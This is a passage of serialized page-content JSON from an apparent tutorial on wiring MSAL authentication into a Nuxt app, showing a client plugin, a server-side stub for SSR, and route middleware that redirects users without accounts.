yle":847},[6019],{"type":38,"value":6020},"      redirectUri",{"type":33,"tag":367,"props":6022,"children":6023},{"style":380},[6024],{"type":38,"value":825},{"type":33,"tag":367,"props":6026,"children":6027},{"style":1124},[6028],{"type":38,"value":5928},{"type":33,"tag":367,"props":6030,"children":6031},{"style":533},[6032],{"type":38,"value":1131},{"type":33,"tag":367,"props":6034,"children":6035},{"style":374},[6036],{"type":38,"value":5937},{"type":33,"tag":367,"props":6038,"children":6039},{"style":380},[6040],{"type":38,"value":174},{"type":33,"tag":367,"props":6042,"children":6043},{"style":374},[6044],{"type":38,"value":5946},{"type":33,"tag":367,"props":6046,"children":6047},{"style":380},[6048],{"type":38,"value":174},{"type":33,"tag":367,"props":6050,"children":6051},{"style":527},[6052],{"type":38,"value":6053},"redirectUri",{"type":33,"tag":367,"props":6055,"children":6056},{"style":533},[6057],{"type":38,"value":1141},{"type":33,"tag":367,"props":6059,"children":6060},{"style":380},[6061],{"type":38,"value":908},{"type":33,"tag":367,"props":6063,"children":6064},{"class":369,"line":911},[6065,6070],{"type":33,"tag":367,"props":6066,"children":6067},{"style":533},[6068],{"type":38,"value":6069},"    }",{"type":33,"tag":367,"props":6071,"children":6072},{"style":380},[6073],{"type":38,"value":908},{"type":33,"tag":367,"props":6075,"children":6076},{"class":369,"line":956},[6077,6082,6086,6090,6095,6099,6103,6107,6111,6115],{"type":33,"tag":367,"props":6078,"children":6079},{"style":847},[6080],{"type":38,"value":6081},"    cache",{"type":33,"tag":367,"props":6083,"children":6084},{"style":380},[6085],{"type":38,"value":825},{"type":33,"tag":367,"props":6087,"children":6088},{"style":533},[6089],{"type":38,"value":536},{"type":33,"tag":367,"props":6091,"children":6092},{"style":847},[6093],{"type":38,"value":6094},"cacheLocation",{"type":33,"tag":367,"props":6096,"children":6097},{"style":380},[6098],{"type":38,"value":825},{"type":33,"tag":367,"props":6100,"children":6101},{"style":380},[6102],{"type":38,"value":557},{"type":33,"tag":367,"props":6104,"children":6105},{"style":391},[6106],{"type":38,"value":1063},{"type":33,"tag":367,"props":6108,"children":6109},{"style":380},[6110],{"type":38,"value":388},{"type":33,"tag":367,"props":6112,"children":6113},{"style":533},[6114],{"type":38,"value":547},{"type":33,"tag":367,"props":6116,"children":6117},{"style":380},[6118],{"type":38,"value":908},{"type":33,"tag":367,"props":6120,"children":6121},{"class":369,"line":985},[6122,6126],{"type":33,"tag":367,"props":6123,"children":6124},{"style":533},[6125],{"type":38,"value":1020},{"type":33,"tag":367,"props":6127,"children":6128},{"style":380},[6129],{"type":38,"value":571},{"type":33,"tag":367,"props":6131,"children":6132},{"class":369,"line":1014},[6133],{"type":33,"tag":367,"props":6134,"children":6135},{"emptyLinePlaceholder":726},[6136],{"type":38,"value":729},{"type":33,"tag":367,"props":6138,"children":6139},{"class":369,"line":1027},[6140,6144,6148,6152,6156,6160,6164,6168],{"type":33,"tag":367,"props":6141,"children":6142},{"style":812},[6143],{"type":38,"value":5839},{"type":33,"tag":367,"props":6145,"children":6146},{"style":633},[6147],{"type":38,"value":1117},{"type":33,"tag":367,"props":6149,"children":6150},{"style":380},[6151],{"type":38,"value":835},{"type":33,"tag":367,"props":6153,"children":6154},{"style":1124},[6155],{"type":38,"value":598},{"type":33,"tag":367,"props":6157,"children":6158},{"style":533},[6159],{"type":38,"value":1131},{"type":33,"tag":367,"props":6161,"children":6162},{"style":374},[6163],{"type":38,"value":1136},{"type":33,"tag":367,"props":6165,"children":6166},{"style":533},[6167],{"type":38,"value":1141},{"type":33,"tag":367,"props":6169,"children":6170},{"style":380},[6171],{"type":38,"value":571},{"type":33,"tag":367,"props":6173,"children":6174},{"class":369,"line":1044},[6175,6180,6184,6188,6192,6196],{"type":33,"tag":367,"props":6176,"children":6177},{"style":3682},[6178],{"type":38,"value":6179},"  await",{"type":33,"tag":367,"props":6181,"children":6182},{"style":374},[6183],{"type":38,"value":1117},{"type":33,"tag":367,"props":6185,"children":6186},{"style":380},[6187],{"type":38,"value":174},{"type":33,"tag":367,"props":6189,"children":6190},{"style":1124},[6191],{"type":38,"value":5045},{"type":33,"tag":367,"props":6193,"children":6194},{"style":533},[6195],{"type":38,"value":1197},{"type":33,"tag":367,"props":6197,"children":6198},{"style":380},[6199],{"type":38,"value":571},{"type":33,"tag":367,"props":6201,"children":6202},{"class":369,"line":1074},[6203],{"type":33,"tag":367,"props":6204,"children":6205},{"emptyLinePlaceholder":726},[6206],{"type":38,"value":729},{"type":33,"tag":367,"props":6208,"children":6209},{"class":369,"line":1086},[6210,6214,6218,6222,6226,6230,6234,6238],{"type":33,"tag":367,"props":6211,"children":6212},{"style":812},[6213],{"type":38,"value":5839},{"type":33,"tag":367,"props":6215,"children":6216},{"style":633},[6217],{"type":38,"value":1175},{"type":33,"tag":367,"props":6219,"children":6220},{"style":380},[6221],{"type":38,"value":835},{"type":33,"tag":367,"props":6223,"children":6224},{"style":374},[6225],{"type":38,"value":1117},{"type":33,"tag":367,"props":6227,"children":6228},{"style":380},[6229],{"type":38,"value":174},{"type":33,"tag":367,"props":6231,"children":6232},{"style":1124},[6233],{"type":38,"value":1192},{"type":33,"tag":367,"props":6235,"children":6236},{"style":533},[6237],{"type":38,"value":1197},{"type":33,"tag":367,"props":6239,"children":6240},{"style":380},[6241],{"type":38,"value":571},{"type":33,"tag":367,"props":6243,"children":6244},{"class":369,"line":1099},[6245,6249,6253,6257,6261,6265,6270,6274,6278,6282,6286,6290,6294,6298,6302],{"type":33,"tag":367,"props":6246,"children":6247},{"style":633},[6248],{"type":38,"value":1369},{"type":33,"tag":367,"props":6250,"children":6251},{"style":533},[6252],{"type":38,"value":1215},{"type":33,"tag":367,"props":6254,"children":6255},{"style":374},[6256],{"type":38,"value":1220},{"type":33,"tag":367,"props":6258,"children":6259},{"style":533},[6260],{"type":38,"value":1278},{"type":33,"tag":367,"props":6262,"children":6263},{"style":901},[6264],{"type":38,"value":1283},{"type":33,"tag":367,"props":6266,"children":6267},{"style":533},[6268],{"type":38,"value":6269},"]) ",{"type":33,"tag":367,"props":6271,"children":6272},{"style":374},[6273],{"type":38,"value":1327},{"type":33,"tag":367,"props":6275,"children":6276},{"style":380},[6277],{"type":38,"value":174},{"type":33,"tag":367,"props":6279,"children":6280},{"style":1124},[6281],{"type":38,"value":1265},{"type":33,"tag":367,"props":6283,"children":6284},{"style":533},[6285],{"type":38,"value":1131},{"type":33,"tag":367,"props":6287,"children":6288},{"style":374},[6289],{"type":38,"value":1220},{"type":33,"tag":367,"props":6291,"children":6292},{"style":533},[6293],{"type":38,"value":1278},{"type":33,"tag":367,"props":6295,"children":6296},{"style":901},[6297],{"type":38,"value":1283},{"type":33,"tag":367,"props":6299,"children":6300},{"style":533},[6301],{"type":38,"value":1288},{"type":33,"tag":367,"props":6303,"children":6304},{"style":380},[6305],{"type":38,"value":571},{"type":33,"tag":367,"props":6307,"children":6308},{"class":369,"line":1107},[6309],{"type":33,"tag":367,"props":6310,"children":6311},{"emptyLinePlaceholder":726},[6312],{"type":38,"value":729},{"type":33,"tag":367,"props":6314,"children":6315},{"class":369,"line":1148},[6316,6321,6325,6330,6334,6338,6342,6346,6350,6354,6358],{"type":33,"tag":367,"props":6317,"children":6318},{"style":374},[6319],{"type":38,"value":6320},"  nuxtApp",{"type":33,"tag":367,"props":6322,"children":6323},{"style":380},[6324],{"type":38,"value":174},{"type":33,"tag":367,"props":6326,"children":6327},{"style":527},[6328],{"type":38,"value":6329},"vueApp",{"type":33,"tag":367,"props":6331,"children":6332},{"style":380},[6333],{"type":38,"value":174},{"type":33,"tag":367,"props":6335,"children":6336},{"style":1124},[6337],{"type":38,"value":1601},{"type":33,"tag":367,"props":6339,"children":6340},{"style":533},[6341],{"type":38,"value":1131},{"type":33,"tag":367,"props":6343,"children":6344},{"style":374},[6345],{"type":38,"value":588},{"type":33,"tag":367,"props":6347,"children":6348},{"style":380},[6349],{"type":38,"value":593},{"type":33,"tag":367,"props":6351,"children":6352},{"style":374},[6353],{"type":38,"value":1117},{"type":33,"tag":367,"props":6355,"children":6356},{"style":533},[6357],{"type":38,"value":1141},{"type":33,"tag":367,"props":6359,"children":6360},{"style":380},[6361],{"type":38,"value":571},{"type":33,"tag":367,"props":6363,"children":6364},{"class":369,"line":1156},[6365,6369],{"type":33,"tag":367,"props":6366,"children":6367},{"style":533},[6368],{"type":38,"value":1532},{"type":33,"tag":367,"props":6370,"children":6371},{"style":380},[6372],{"type":38,"value":571},{"type":33,"tag":34,"props":6374,"children":6375},{},[6376,6378,6383],{"type":38,"value":6377},"This awaits ",{"type":33,"tag":41,"props":6379,"children":6381},{"className":6380},[],[6382],{"type":38,"value":1780},{"type":38,"value":6384}," explicitly, before the plugin is installed, so no component ever sees an uninitialized instance.",{"type":33,"tag":34,"props":6386,"children":6387},{},[6388,6390,6395,6396,6402],{"type":38,"value":6389},"The server plugin installs a stub with an empty account list, so ",{"type":33,"tag":41,"props":6391,"children":6393},{"className":6392},[],[6394],{"type":38,"value":1764},{"type":38,"value":150},{"type":33,"tag":41,"props":6397,"children":6399},{"className":6398},[],[6400],{"type":38,"value":6401},"useIsAuthenticated()",{"type":38,"value":6403}," resolve during SSR instead of throwing. Any method that needs the browser instance rejects with a clear message, and those calls only happen after hydration:",{"type":33,"tag":357,"props":6405,"children":6407},{"className":506,"code":6406,"language":508,"meta":7,"style":7},"// app/plugins/msal.server.ts\nimport { shallowReactive } from \"vue\";\nimport { InteractionStatus } from \"@azure/msal-browser\";\nimport type { AccountInfo, PublicClientApplication } from \"@azure/msal-browser\";\nimport type { State } from \"vue3-msal-plugin\";\n\nexport default defineNuxtPlugin((nuxtApp) => {\n  const ssrInstance = new Proxy({} as PublicClientApplication, {\n    get(_target, prop) {\n      if (prop === \"getAllAccounts\") return (): AccountInfo[] => [];\n      if (prop === \"getActiveAccount\") return (): AccountInfo | null => null;\n      return () =>\n        Promise.reject(\n          new Error(`MSAL \"${String(prop)}\" not available during SSR`),\n        );\n    },\n  }) as PublicClientApplication;\n\n  nuxtApp.vueApp.config.globalProperties.$msal = shallowReactive\u003CState>({\n    instance: ssrInstance,\n    inProgress: InteractionStatus.None,\n    accounts: [],\n  });\n});\n",[6408],{"type":33,"tag":41,"props":6409,"children":6410},{"__ignoreMap":7},[6411,6419,6459,6499,6551,6595,6602,6637,6685,6715,6787,6859,6877,6898,6968,6980,6991,7011,7018,7083,7102,7132,7152,7163],{"type":33,"tag":367,"props":6412,"children":6413},{"class":369,"line":370},[6414],{"type":33,"tag":367,"props":6415,"children":6416},{"style":518},[6417],{"type":38,"value":6418},"// app/plugins/msal.server.ts\n",{"type":33,"tag":367,"props":6420,"children":6421},{"class":369,"line":402},[6422,6426,6430,6435,6439,6443,6447,6451,6455],{"type":33,"tag":367,"props":6423,"children":6424},{"style":527},[6425],{"type":38,"value":530},{"type":33,"tag":367,"props":6427,"children":6428},{"style":533},[6429],{"type":38,"value":536},{"type":33,"tag":367,"props":6431,"children":6432},{"style":539},[6433],{"type":38,"value":6434},"shallowReactive",{"type":33,"tag":367,"props":6436,"children":6437},{"style":533},[6438],{"type":38,"value":547},{"type":33,"tag":367,"props":6440,"children":6441},{"style":527},[6442],{"type":38,"value":552},{"type":33,"tag":367,"props":6444,"children":6445},{"style":380},[6446],{"type":38,"value":557},{"type":33,"tag":367,"props":6448,"children":6449},{"style":391},[6450],{"type":38,"value":562},{"type":33,"tag":367,"props":6452,"children":6453},{"style":380},[6454],{"type":38,"value":388},{"type":33,"tag":367,"props":6456,"children":6457},{"style":380},[6458],{"type":38,"value":571},{"type":33,"tag":367,"props":6460,"children":6461},{"class":369,"line":574},[6462,6466,6470,6475,6479,6483,6487,6491,6495],{"type":33,"tag":367,"props":6463,"children":6464},{"style":527},[6465],{"type":38,"value":530},{"type":33,"tag":367,"props":6467,"children":6468},{"style":533},[6469],{"type":38,"value":536},{"type":33,"tag":367,"props":6471,"children":6472},{"style":539},[6473],{"type":38,"value":6474},"InteractionStatus",{"type":33,"tag":367,"props":6476,"children":6477},{"style":533},[6478],{"type":38,"value":547},{"type":33,"tag":367,"props":6480,"children":6481},{"style":527},[6482],{"type":38,"value":552},{"type":33,"tag":367,"props":6484,"children":6485},{"style":380},[6486],{"type":38,"value":557},{"type":33,"tag":367,"props":6488,"children":6489},{"style":391},[6490],{"type":38,"value":46},{"type":33,"tag":367,"props":6492,"children":6493},{"style":380},[6494],{"type":38,"value":388},{"type":33,"tag":367,"props":6496,"children":6497},{"style":380},[6498],{"type":38,"value":571},{"type":33,"tag":367,"props":6500,"children":6501},{"class":369,"line":625},[6502,6506,6510,6514,6519,6523,6527,6531,6535,6539,6543,6547],{"type":33,"tag":367,"props":6503,"children":6504},{"style":527},[6505],{"type":38,"value":530},{"type":33,"tag":367,"props":6507,"children":6508},{"style":633},[6509],{"type":38,"value":636},{"type":33,"tag":367,"props":6511,"children":6512},{"style":533},[6513],{"type":38,"value":536},{"type":33,"tag":367,"props":6515,"children":6516},{"style":539},[6517],{"type":38,"value":6518},"AccountInfo",{"type":33,"tag":367,"props":6520,"children":6521},{"style":380},[6522],{"type":38,"value":593},{"type":33,"tag":367,"props":6524,"children":6525},{"style":539},[6526],{"type":38,"value":4896},{"type":33,"tag":367,"props":6528,"children":6529},{"style":533},[6530],{"type":38,"value":547},{"type":33,"tag":367,"props":6532,"children":6533},{"style":527},[6534],{"type":38,"value":552},{"type":33,"tag":367,"props":6536,"children":6537},{"style":380},[6538],{"type":38,"value":557},{"type":33,"tag":367,"props":6540,"children":6541},{"style":391},[6542],{"type":38,"value":46},{"type":33,"tag":367,"props":6544,"children":6545},{"style":380},[6546],{"type":38,"value":388},{"type":33,"tag":367,"props":6548,"children":6549},{"style":380},[6550],{"type":38,"value":571},{"type":33,"tag":367,"props":6552,"children":6553},{"class":369,"line":681},[6554,6558,6562,6566,6571,6575,6579,6583,6587,6591],{"type":33,"tag":367,"props":6555,"children":6556},{"style":527},[6557],{"type":38,"value":530},{"type":33,"tag":367,"props":6559,"children":6560},{"style":633},[6561],{"type":38,"value":636},{"type":33,"tag":367,"props":6563,"children":6564},{"style":533},[6565],{"type":38,"value":536},{"type":33,"tag":367,"props":6567,"children":6568},{"style":539},[6569],{"type":38,"value":6570},"State",{"type":33,"tag":367,"props":6572,"children":6573},{"style":533},[6574],{"type":38,"value":547},{"type":33,"tag":367,"props":6576,"children":6577},{"style":527},[6578],{"type":38,"value":552},{"type":33,"tag":367,"props":6580,"children":6581},{"style":380},[6582],{"type":38,"value":557},{"type":33,"tag":367,"props":6584,"children":6585},{"style":391},[6586],{"type":38,"value":79},{"type":33,"tag":367,"props":6588,"children":6589},{"style":380},[6590],{"type":38,"value":388},{"type":33,"tag":367,"props":6592,"children":6593},{"style":380},[6594],{"type":38,"value":571},{"type":33,"tag":367,"props":6596,"children":6597},{"class":369,"line":722},[6598],{"type":33,"tag":367,"props":6599,"children":6600},{"emptyLinePlaceholder":726},[6601],{"type":38,"value":729},{"type":33,"tag":367,"props":6603,"children":6604},{"class":369,"line":732},[6605,6609,6613,6617,6621,6625,6629,6633],{"type":33,"tag":367,"props":6606,"children":6607},{"style":527},[6608],{"type":38,"value":4845},{"type":33,"tag":367,"props":6610,"children":6611},{"style":527},[6612],{"type":38,"value":5797},{"type":33,"tag":367,"props":6614,"children":6615},{"style":1124},[6616],{"type":38,"value":5802},{"type":33,"tag":367,"props":6618,"children":6619},{"style":533},[6620],{"type":38,"value":1341},{"type":33,"tag":367,"props":6622,"children":6623},{"style":1344},[6624],{"type":38,"value":5819},{"type":33,"tag":367,"props":6626,"children":6627},{"style":533},[6628],{"type":38,"value":1141},{"type":33,"tag":367,"props":6630,"children":6631},{"style":633},[6632],{"type":38,"value":1356},{"type":33,"tag":367,"props":6634,"children":6635},{"style":533},[6636],{"type":38,"value":840},{"type":33,"tag":367,"props":6638,"children":6639},{"class":369,"line":766},[6640,6644,6649,6653,6658,6663,6668,6673,6677,6681],{"type":33,"tag":367,"props":6641,"children":6642},{"style":812},[6643],{"type":38,"value":5839},{"type":33,"tag":367,"props":6645,"children":6646},{"style":633},[6647],{"type":38,"value":6648}," ssrInstance",{"type":33,"tag":367,"props":6650,"children":6651},{"style":380},[6652],{"type":38,"value":835},{"type":33,"tag":367,"props":6654,"children":6655},{"style":380},[6656],{"type":38,"value":6657}," new",{"type":33,"tag":367,"props":6659,"children":6660},{"style":1124},[6661],{"type":38,"value":6662}," Proxy",{"type":33,"tag":367,"props":6664,"children":6665},{"style":533},[6666],{"type":38,"value":6667},"({} ",{"type":33,"tag":367,"props":6669,"children":6670},{"style":380},[6671],{"type":38,"value":6672},"as",{"type":33,"tag":367,"props":6674,"children":6675},{"style":374},[6676],{"type":38,"value":4896},{"type":33,"tag":367,"props":6678,"children":6679},{"style":380},[6680],{"type":38,"value":593},{"type":33,"tag":367,"props":6682,"children":6683},{"style":533},[6684],{"type":38,"value":840},{"type":33,"tag":367,"props":6686,"children":6687},{"class":369,"line":800},[6688,6693,6697,6702,6706,6711],{"type":33,"tag":367,"props":6689,"children":6690},{"style":1124},[6691],{"type":38,"value":6692},"    get",{"type":33,"tag":367,"props":6694,"children":6695},{"style":533},[6696],{"type":38,"value":1131},{"type":33,"tag":367,"props":6698,"children":6699},{"style":1344},[6700],{"type":38,"value":6701},"_target",{"type":33,"tag":367,"props":6703,"children":6704},{"style":380},[6705],{"type":38,"value":593},{"type":33,"tag":367,"props":6707,"children":6708},{"style":1344},[6709],{"type":38,"value":6710}," prop",{"type":33,"tag":367,"props":6712,"children":6713},{"style":533},[6714],{"type":38,"value":1429},{"type":33,"tag":367,"props":6716,"children":6717},{"class":369,"line":808},[6718,6723,6727,6732,6736,6740,6744,6748,6752,6756,6760,6764,6769,6774,6778,6783],{"type":33,"tag":367,"props":6719,"children":6720},{"style":633},[6721],{"type":38,"value":6722},"      if",{"type":33,"tag":367,"props":6724,"children":6725},{"style":533},[6726],{"type":38,"value":1215},{"type":33,"tag":367,"props":6728,"children":6729},{"style":374},[6730],{"type":38,"value":6731},"prop",{"type":33,"tag":367,"props":6733,"children":6734},{"style":633},[6735],{"type":38,"value":1391},{"type":33,"tag":367,"props":6737,"children":6738},{"style":380},[6739],{"type":38,"value":557},{"type":33,"tag":367,"props":6741,"children":6742},{"style":391},[6743],{"type":38,"value":1192},{"type":33,"tag":367,"props":6745,"children":6746},{"style":380},[6747],{"type":38,"value":388},{"type":33,"tag":367,"props":6749,"children":6750},{"style":533},[6751],{"type":38,"value":4242},{"type":33,"tag":367,"props":6753,"children":6754},{"style":3682},[6755],{"type":38,"value":4247},{"type":33,"tag":367,"props":6757,"children":6758},{"style":533},[6759],{"type":38,"value":2170},{"type":33,"tag":367,"props":6761,"children":6762},{"style":380},[6763],{"type":38,"value":825},{"type":33,"tag":367,"props":6765,"children":6766},{"style":374},[6767],{"type":38,"value":6768}," AccountInfo",{"type":33,"tag":367,"props":6770,"children":6771},{"style":533},[6772],{"type":38,"value":6773},"[] ",{"type":33,"tag":367,"props":6775,"children":6776},{"style":633},[6777],{"type":38,"value":4952},{"type":33,"tag":367,"props":6779,"children":6780},{"style":533},[6781],{"type":38,"value":6782}," []",{"type":33,"tag":367,"props":6784,"children":6785},{"style":380},[6786],{"type":38,"value":571},{"type":33,"tag":367,"props":6788,"children":6789},{"class":369,"line":843},[6790,6794,6798,6802,6806,6810,6815,6819,6823,6827,6831,6835,6839,6843,6847,6851,6855],{"type":33,"tag":367,"props":6791,"children":6792},{"style":633},[6793],{"type":38,"value":6722},{"type":33,"tag":367,"props":6795,"children":6796},{"style":533},[6797],{"type":38,"value":1215},{"type":33,"tag":367,"props":6799,"children":6800},{"style":374},[6801],{"type":38,"value":6731},{"type":33,"tag":367,"props":6803,"children":6804},{"style":633},[6805],{"type":38,"value":1391},{"type":33,"tag":367,"props":6807,"children":6808},{"style":380},[6809],{"type":38,"value":557},{"type":33,"tag":367,"props":6811,"children":6812},{"style":391},[6813],{"type":38,"value":6814},"getActiveAccount",{"type":33,"tag":367,"props":6816,"children":6817},{"style":380},[6818],{"type":38,"value":388},{"type":33,"tag":367,"props":6820,"children":6821},{"style":533},[6822],{"type":38,"value":4242},{"type":33,"tag":367,"props":6824,"children":6825},{"style":3682},[6826],{"type":38,"value":4247},{"type":33,"tag":367,"props":6828,"children":6829},{"style":533},[6830],{"type":38,"value":2170},{"type":33,"tag":367,"props":6832,"children":6833},{"style":380},[6834],{"type":38,"value":825},{"type":33,"tag":367,"props":6836,"children":6837},{"style":374},[6838],{"type":38,"value":6768},{"type":33,"tag":367,"props":6840,"children":6841},{"style":380},[6842],{"type":38,"value":4142},{"type":33,"tag":367,"props":6844,"children":6845},{"style":539},[6846],{"type":38,"value":2938},{"type":33,"tag":367,"props":6848,"children":6849},{"style":633},[6850],{"type":38,"value":1356},{"type":33,"tag":367,"props":6852,"children":6853},{"style":901},[6854],{"type":38,"value":2938},{"type":33,"tag":367,"props":6856,"children":6857},{"style":380},[6858],{"type":38,"value":571},{"type":33,"tag":367,"props":6860,"children":6861},{"class":369,"line":861},[6862,6867,6872],{"type":33,"tag":367,"props":6863,"children":6864},{"style":3682},[6865],{"type":38,"value":6866},"      return",{"type":33,"tag":367,"props":6868,"children":6869},{"style":533},[6870],{"type":38,"value":6871}," () ",{"type":33,"tag":367,"props":6873,"children":6874},{"style":633},[6875],{"type":38,"value":6876},"=>\n",{"type":33,"tag":367,"props":6878,"children":6879},{"class":369,"line":911},[6880,6885,6889,6894],{"type":33,"tag":367,"props":6881,"children":6882},{"style":539},[6883],{"type":38,"value":6884},"        Promise",{"type":33,"tag":367,"props":6886,"children":6887},{"style":380},[6888],{"type":38,"value":174},{"type":33,"tag":367,"props":6890,"children":6891},{"style":1124},[6892],{"type":38,"value":6893},"reject",{"type":33,"tag":367,"props":6895,"children":6896},{"style":533},[6897],{"type":38,"value":3338},{"type":33,"tag":367,"props":6899,"children":6900},{"class":369,"line":956},[6901,6906,6911,6915,6920,6925,6930,6935,6939,6943,6947,6951,6956,6960,6964],{"type":33,"tag":367,"props":6902,"children":6903},{"style":380},[6904],{"type":38,"value":6905},"          new",{"type":33,"tag":367,"props":6907,"children":6908},{"style":1124},[6909],{"type":38,"value":6910}," Error",{"type":33,"tag":367,"props":6912,"children":6913},{"style":533},[6914],{"type":38,"value":1131},{"type":33,"tag":367,"props":6916,"children":6917},{"style":380},[6918],{"type":38,"value":6919},"`",{"type":33,"tag":367,"props":6921,"children":6922},{"style":391},[6923],{"type":38,"value":6924},"MSAL \"",{"type":33,"tag":367,"props":6926,"children":6927},{"style":527},[6928],{"type":38,"value":6929},"${",{"type":33,"tag":367,"props":6931,"children":6932},{"style":1124},[6933],{"type":38,"value":6934},"String",{"type":33,"tag":367,"props":6936,"children":6937},{"style":533},[6938],{"type":38,"value":1131},{"type":33,"tag":367,"props":6940,"children":6941},{"style":374},[6942],{"type":38,"value":6731},{"type":33,"tag":367,"props":6944,"children":6945},{"style":533},[6946],{"type":38,"value":1141},{"type":33,"tag":367,"props":6948,"children":6949},{"style":527},[6950],{"type":38,"value":1092},{"type":33,"tag":367,"props":6952,"children":6953},{"style":391},[6954],{"type":38,"value":6955},"\" not available during SSR",{"type":33,"tag":367,"props":6957,"children":6958},{"style":380},[6959],{"type":38,"value":6919},{"type":33,"tag":367,"props":6961,"children":6962},{"style":533},[6963],{"type":38,"value":1141},{"type":33,"tag":367,"props":6965,"children":6966},{"style":380},[6967],{"type":38,"value":908},{"type":33,"tag":367,"props":6969,"children":6970},{"class":369,"line":985},[6971,6976],{"type":33,"tag":367,"props":6972,"children":6973},{"style":533},[6974],{"type":38,"value":6975},"        )",{"type":33,"tag":367,"props":6977,"children":6978},{"style":380},[6979],{"type":38,"value":571},{"type":33,"tag":367,"props":6981,"children":6982},{"class":369,"line":1014},[6983,6987],{"type":33,"tag":367,"props":6984,"children":6985},{"style":533},[6986],{"type":38,"value":6069},{"type":33,"tag":367,"props":6988,"children":6989},{"style":380},[6990],{"type":38,"value":908},{"type":33,"tag":367,"props":6992,"children":6993},{"class":369,"line":1027},[6994,6999,7003,7007],{"type":33,"tag":367,"props":6995,"children":6996},{"style":533},[6997],{"type":38,"value":6998},"  }) ",{"type":33,"tag":367,"props":7000,"children":7001},{"style":380},[7002],{"type":38,"value":6672},{"type":33,"tag":367,"props":7004,"children":7005},{"style":374},[7006],{"type":38,"value":4896},{"type":33,"tag":367,"props":7008,"children":7009},{"style":380},[7010],{"type":38,"value":571},{"type":33,"tag":367,"props":7012,"children":7013},{"class":369,"line":1044},[7014],{"type":33,"tag":367,"props":7015,"children":7016},{"emptyLinePlaceholder":726},[7017],{"type":38,"value":729},{"type":33,"tag":367,"props":7019,"children":7020},{"class":369,"line":1074},[7021,7025,7029,7033,7037,7041,7045,7050,7054,7058,7062,7067,7071,7075,7079],{"type":33,"tag":367,"props":7022,"children":7023},{"style":374},[7024],{"type":38,"value":6320},{"type":33,"tag":367,"props":7026,"children":7027},{"style":380},[7028],{"type":38,"value":174},{"type":33,"tag":367,"props":7030,"children":7031},{"style":374},[7032],{"type":38,"value":6329},{"type":33,"tag":367,"props":7034,"children":7035},{"style":380},[7036],{"type":38,"value":174},{"type":33,"tag":367,"props":7038,"children":7039},{"style":374},[7040],{"type":38,"value":5937},{"type":33,"tag":367,"props":7042,"children":7043},{"style":380},[7044],{"type":38,"value":174},{"type":33,"tag":367,"props":7046,"children":7047},{"style":374},[7048],{"type":38,"value":7049},"globalProperties",{"type":33,"tag":367,"props":7051,"children":7052},{"style":380},[7053],{"type":38,"value":174},{"type":33,"tag":367,"props":7055,"children":7056},{"style":527},[7057],{"type":38,"value":5666},{"type":33,"tag":367,"props":7059,"children":7060},{"style":380},[7061],{"type":38,"value":835},{"type":33,"tag":367,"props":7063,"children":7064},{"style":1124},[7065],{"type":38,"value":7066}," shallowReactive",{"type":33,"tag":367,"props":7068,"children":7069},{"style":380},[7070],{"type":38,"value":1977},{"type":33,"tag":367,"props":7072,"children":7073},{"style":374},[7074],{"type":38,"value":6570},{"type":33,"tag":367,"props":7076,"children":7077},{"style":380},[7078],{"type":38,"value":2484},{"type":33,"tag":367,"props":7080,"children":7081},{"style":533},[7082],{"type":38,"value":5178},{"type":33,"tag":367,"props":7084,"children":7085},{"class":369,"line":1086},[7086,7090,7094,7098],{"type":33,"tag":367,"props":7087,"children":7088},{"style":847},[7089],{"type":38,"value":1481},{"type":33,"tag":367,"props":7091,"children":7092},{"style":380},[7093],{"type":38,"value":825},{"type":33,"tag":367,"props":7095,"children":7096},{"style":374},[7097],{"type":38,"value":6648},{"type":33,"tag":367,"props":7099,"children":7100},{"style":380},[7101],{"type":38,"value":908},{"type":33,"tag":367,"props":7103,"children":7104},{"class":369,"line":1099},[7105,7110,7114,7119,7123,7128],{"type":33,"tag":367,"props":7106,"children":7107},{"style":847},[7108],{"type":38,"value":7109},"    inProgress",{"type":33,"tag":367,"props":7111,"children":7112},{"style":380},[7113],{"type":38,"value":825},{"type":33,"tag":367,"props":7115,"children":7116},{"style":374},[7117],{"type":38,"value":7118}," InteractionStatus",{"type":33,"tag":367,"props":7120,"children":7121},{"style":380},[7122],{"type":38,"value":174},{"type":33,"tag":367,"props":7124,"children":7125},{"style":527},[7126],{"type":38,"value":7127},"None",{"type":33,"tag":367,"props":7129,"children":7130},{"style":380},[7131],{"type":38,"value":908},{"type":33,"tag":367,"props":7133,"children":7134},{"class":369,"line":1107},[7135,7140,7144,7148],{"type":33,"tag":367,"props":7136,"children":7137},{"style":847},[7138],{"type":38,"value":7139},"    accounts",{"type":33,"tag":367,"props":7141,"children":7142},{"style":380},[7143],{"type":38,"value":825},{"type":33,"tag":367,"props":7145,"children":7146},{"style":533},[7147],{"type":38,"value":6782},{"type":33,"tag":367,"props":7149,"children":7150},{"style":380},[7151],{"type":38,"value":908},{"type":33,"tag":367,"props":7153,"children":7154},{"class":369,"line":1148},[7155,7159],{"type":33,"tag":367,"props":7156,"children":7157},{"style":533},[7158],{"type":38,"value":5280},{"type":33,"tag":367,"props":7160,"children":7161},{"style":380},[7162],{"type":38,"value":571},{"type":33,"tag":367,"props":7164,"children":7165},{"class":369,"line":1156},[7166,7170],{"type":33,"tag":367,"props":7167,"children":7168},{"style":533},[7169],{"type":38,"value":1532},{"type":33,"tag":367,"props":7171,"children":7172},{"style":380},[7173],{"type":38,"value":571},{"type":33,"tag":34,"props":7175,"children":7176},{},[7177,7179,7184],{"type":38,"value":7178},"Route middleware has the same constraint as a Vue Router guard, plus one more: the server can't know the auth state at all, because the cache lives in ",{"type":33,"tag":41,"props":7180,"children":7182},{"className":7181},[],[7183],{"type":38,"value":1063},{"type":38,"value":7185},". So the guard skips on the server and enforces after hydration:",{"type":33,"tag":357,"props":7187,"children":7189},{"className":506,"code":7188,"language":508,"meta":7,"style":7},"// app/middleware/auth.ts\nexport default defineNuxtRouteMiddleware(() => {\n  if (import.meta.server) return;\n\n  const nuxtApp = useNuxtApp();\n  const accounts = nuxtApp.vueApp.config.globalProperties.$msal?.accounts;\n  if (!accounts || accounts.length === 0) {\n    return navigateTo(\"/\");\n  }\n});\n",[7190],{"type":33,"tag":41,"props":7191,"children":7192},{"__ignoreMap":7},[7193,7201,7229,7273,7280,7309,7373,7421,7457,7464],{"type":33,"tag":367,"props":7194,"children":7195},{"class":369,"line":370},[7196],{"type":33,"tag":367,"props":7197,"children":7198},{"style":518},[7199],{"type":38,"value":7200},"// 